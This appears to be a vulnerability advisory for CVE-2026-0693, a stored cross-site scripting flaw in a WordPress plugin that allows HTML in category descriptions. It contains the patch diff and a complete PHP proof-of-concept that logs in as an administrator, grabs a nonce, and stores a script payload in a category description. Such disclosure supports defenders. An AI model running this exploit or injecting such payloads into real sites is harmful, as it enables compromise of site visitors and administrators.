CVE-2026-0693: Allow HTML in Category Descriptions <= 1.2.4 – Authenticated (Administrator+) Stored Cross-Site Scripting via Category Descriptions (allow-html-in-category-descriptions)

--- a/allow-html-in-category-descriptions/html-in-category-descriptions.php
+++ b/allow-html-in-category-descriptions/html-in-category-descriptions.php
@@ -1,14 +1,18 @@
 <?php
 /*
-Plugin Name: HTML in Category Descriptions
-Version: 1.2.4
+Plugin Name: Allow HTML in Category Descriptions
+Version: 1.2.5
 Plugin URI: http://wordpress.org/extend/plugins/allow-html-in-category-descriptions/
 Description: Allows you to add HTML code in category descriptions
-Author: Arno Esterhuizen
-Author URI: arno.esterhuizen@gmail.com
+Author: Arno Esterhuizen & Timmmy
+Author URI: https://profiles.wordpress.org/timherinckx/
 Text Domain: allow-html-in-category-descriptions
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */

+if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
+
 add_action('init','disable_kses_if_allowed');

 function disable_kses_if_allowed() {
@@ -17,12 +21,13 @@
 		foreach (array('pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description') as $filter) {
 			remove_filter($filter, 'wp_filter_kses');
 		}
-	}

-	// Disables Kses only for textarea admin displays
-	foreach (array('term_description', 'link_description', 'link_notes', 'user_description') as $filter) {
+		// Disables Kses only for textarea admin displays
+		foreach (array('term_description', 'link_description', 'link_notes', 'user_description') as $filter) {
 		remove_filter($filter, 'wp_kses_data');
+		}
 	}
+
 }

 //Additional links on the plugin page
@@ -31,7 +36,6 @@
 function RegisterPluginLinks ($links, $file) {
 	if ($file == plugin_basename(__FILE__)) {
 		$links[] = '<a href="http://wordpress.org/support/plugin/allow-html-in-category-descriptions">Support</a>';
-		$links[] = '<a href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=SGS5KSM9N4D3Y">Donate</a>';
 	}
 	return $links;
 }

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0693 - Allow HTML in Category Descriptions <= 1.2.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Category Descriptions
<?php

$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'attacker_admin';
$password = 'attacker_password';
$category_id = 1; // ID of the category to edit

// Payload: Simple alert to demonstrate script execution
$malicious_description = 'Legit text <script>alert("Atomic Edge XSS - "+document.domain);</script>';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_result = curl_exec($ch);

// Check login success by attempting to load the category edit page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/term.php?taxonomy=category&tag_ID=' . $category_id . '&post_type=post');
curl_setopt($ch, CURLOPT_POST, 0);
$edit_page = curl_exec($ch);

// Extract the nonce required for updating the term
preg_match('/name="_wpnonce" value="([^"]+)"/', $edit_page, $nonce_matches);
$update_nonce = $nonce_matches[1] ?? '';

if (empty($update_nonce)) {
    die('Failed to authenticate or find the category edit nonce.');
}

// Construct POST data to update the category description with the malicious payload
$post_data = array(
    'tag_ID' => $category_id,
    'name' => 'Compromised Category', // Category name can be unchanged or modified
    'description' => $malicious_description,
    'slug' => 'compromised-category',
    '_wpnonce' => $update_nonce,
    '_wp_http_referer' => '/wp-admin/edit-tags.php?taxonomy=category',
    'action' => 'editedtag',
    'submit' => 'Update'
);

// Submit the form to update the category
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-post.php?action=editedtag');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$update_result = curl_exec($ch);

// Verify the update by fetching the category archive page
curl_setopt($ch, CURLOPT_URL, $target_url . '/?cat=' . $category_id);
curl_setopt($ch, CURLOPT_POST, 0);
$archive_page = curl_exec($ch);

curl_close($ch);

// Check if the payload is present in the response (unsanitized)
if (strpos($archive_page, $malicious_description) !== false) {
    echo "SUCCESS: Malicious script payload was stored unsanitized in category description.n";
    echo "Visit: " . $target_url . "/?cat=" . $category_id . " to trigger execution.n";
} else {
    echo "FAILURE: Payload may have been sanitized or update failed.n";
}

?>